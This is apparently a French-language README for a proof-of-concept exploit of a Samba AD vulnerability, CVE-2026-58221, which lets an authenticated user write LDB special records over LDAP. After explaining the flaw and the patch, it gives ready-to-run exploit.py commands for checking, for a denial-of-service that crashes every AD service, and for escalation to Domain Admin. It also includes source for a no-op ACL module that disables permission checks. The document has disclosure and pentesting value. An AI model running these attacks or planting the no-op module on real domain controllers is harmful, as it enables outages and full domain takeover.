
PoC Python pour CVE-2026-58221 : vérifie et exploite le contournement d'ACL sur les DN spéciaux de Samba AD LDB via LDAP afin de prouver l'accès en écriture, faire planter les services AD ou élever les privilèges vers Domain Admin.
CVSS 8.8 (AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H)
Tout utilisateur authentifié du domaine peut modifier les enregistrements spéciaux internes LDB de Samba (@MODULES, @PARTITION, @SAMBA_DSDB) via LDAP, ce qui conduit à un déni de service (plantage de tous les services AD) ou à une élévation de privilèges vers Domain Admin (avec un accès au système de fichiers local).
| Statut | Versions |
|---|---|
| Vulnérables | Samba AD DC >= 4.0.0 (toutes les versions antérieures au correctif) |
| Corrigées | 4.22.11, 4.23.x, 4.24.x |
Avis de sécurité : https://www.samba.org/samba/security/CVE-2026-58221.html
Deux failles se combinent pour contourner tous les contrôles d'accès sur les enregistrements LDB internes de Samba :
rootdse_filter_operations() — Vérification d'authentification insuffisanteDans source4/dsdb/samdb/ldb_modules/rootdse.c, la fonction rootdse_filter_operations() est le premier filtre de la chaîne de requêtes LDAP. Elle ne bloque que les appelants anonymes — tout utilisateur authentifié passe, quels que soient ses privilèges :
// rootdse.c — BEFORE patch
static int rootdse_filter_operations(struct ldb_module *module, struct ldb_request *req)
{
// Only blocks anonymous — all authenticated users pass through
if (session_info->security_token == anonymous_token) {
return LDB_ERR_OPERATIONS_ERROR;
}
return ldb_next_request(module, req); // → passes to ACL module
}
acl.c — Contournement des ACL pour les DN spéciauxDans source4/dsdb/samdb/ldb_modules/acl.c, le module ACL ignore toutes les vérifications de permissions pour les DN spéciaux LDB (ceux commençant par @), en supposant que seules des opérations internes de confiance y accèdent :
// acl.c — lines 1203/1894 (Samba 4.22.6)
if (ldb_dn_is_special(req->op.mod.message->dn)) {
return ldb_next_request(module, req); // NO permission check!
}
Effet combiné : un utilisateur de domaine authentifié à faibles privilèges envoie une requête de modification LDAP ciblant @MODULES. Elle passe rootdse_filter_operations() (pas anonyme), atteint acl.c, qui voit un DN spécial et ignore toutes les vérifications ACL — la modification réussit.
Le correctif ajoute une vérification ldb_dn_is_special() dans rootdse_filter_operations() avant que la requête n'atteigne le module ACL :
// rootdse.c — AFTER patch (4.22.11)
static int rootdse_filter_operations(struct ldb_module *module, struct ldb_request *req)
{
// NEW: Block all operations on special DNs from external connections
if (ldb_dn_is_special(req->op.*.message->dn)) {
D_ERR("CVE-2026-58221-ATTACK: %s\n", ldb_dn_get_linearized(...));
return LDB_ERR_OPERATIONS_ERROR;
}
// ... rest of function
}
LDB est la base de données interne de Samba (sam.ldb), équivalent de NTDS.dit sous Windows. Elle stocke tous les objets Active Directory et utilise une architecture de chaîne de modules pour traiter les requêtes.
samba_dsdbsamba_dsdb est le point d'entrée unique qui initialise toute la chaîne de modules Samba (~30 modules). Il :
samba_dsdb.c (modules_list1, modules_list1a, tdb_modules_list, modules_list2)forced_module_msg — qui remplace toute valeur @PARTITION/modules stockée dans la base de donnéesC'est pourquoi les modules individuels ne peuvent pas être chargés de manière autonome — ils plantent avec Protocol error (2) sans le contexte fourni par samba_dsdb. C'est aussi pourquoi la modification de @PARTITION/modules dans la base de données n'a aucun effet sur la chaîne de modules en cours d'exécution.
| DN | Objectif | Impact de la modification |
|---|---|---|
@MODULES/@LIST | Contrôle les modules que Samba charge par connexion | Plantage (si modifié depuis samba_dsdb) |
@PARTITION | Configuration des partitions et modules par partition | Ignoré (remplacé par forced_module_msg) |
@SAMBA_DSDB | Configuration interne de samba_dsdb | Plantage |
safe-write (non destructive) ✅Réécrit la même valeur (@LIST: samba_dsdb) dans @MODULES. Prouve l'accès en écriture sans aucun impact sur le service. Recommandé pour les pentests.
python3 exploit.py --check -H DC_IP -u 'user@domain' -p 'password'
python3 exploit.py --exploit -H DC_IP -u 'user@domain' -p 'password' --method safe-write
dos (Destructive) ⚠️Remplace @MODULES/@LIST par des noms de modules individuels (à l'exclusion de acl/aclread). Lors de la connexion suivante, les modules échouent à s'initialiser sans le contexte samba_dsdb → tous les services AD plantent (LDAP, SMB, Kerberos, DNS).
python3 exploit.py --exploit -H DC_IP -u 'user@domain' -p 'password' --method dos --force
Impact : Panne totale d'AD. La récupération nécessite un accès à la console locale. Toute l'authentification de domaine s'arrête.
escalate (Domain Admin — Accès local requis) 🔴Chaîne d'exploitation complète pour obtenir le rôle Domain Admin :
@MODULES est accessible en écriture via LDAP (à distance)acl.so / aclread.so par des versions no-op (local)python3 exploit.py --exploit -H DC_IP -u 'user@domain' -p 'password' \
--method escalate --force \
--base-dn 'DC=domain,DC=local' \
--target-dn 'CN=user,CN=Users,DC=domain,DC=local'
Source du module ACL no-op :
#include <ldb.h>
#include <ldb_module.h>
static int noop(struct ldb_module *m, struct ldb_request *r) {
return ldb_next_request(m, r);
}
static const struct ldb_module_ops ops = {
.name="acl", .add=noop, .modify=noop,
.del=noop, .rename=noop, .search=noop
};
int ldb_init_module(const char *v) {
return ldb_register_module(&ops);
}
| Mode | Impact | Nécessite |
|---|---|---|
--check | Aucun (sûr) | LDAPS + identifiants de domaine |
--assess | Aucun (analyse) | LDAPS + identifiants de domaine |
--exploit --method safe-write | Aucun (prouve l'écriture) | LDAPS + identifiants de domaine |
--exploit --method dos | Panne totale d'AD | LDAPS + identifiants de domaine |
--exploit --method escalate | Domain Admin | LDAPS + identifiants de domaine + sudo sur le DC |
--cleanup | Annule l'escalade | LDAPS + identifiants de domaine + sudo sur le DC |
--fix | Restaure un DC planté | Console locale sur le DC |
# Safe vulnerability check
python3 exploit.py --check -H 10.0.0.1 -u '[email protected]' -p 'P@ssw0rd'
# Assess exploitation impact
python3 exploit.py --assess -H 10.0.0.1 -u '[email protected]' -p 'P@ssw0rd'
# Non-destructive exploitation proof
python3 exploit.py --exploit -H 10.0.0.1 -u '[email protected]' -p 'P@ssw0rd' \
--method safe-write
# DoS (DESTRUCTIVE — requires explicit authorization)
python3 exploit.py --exploit -H 10.0.0.1 -u '[email protected]' -p 'P@ssw0rd' \
--method dos --force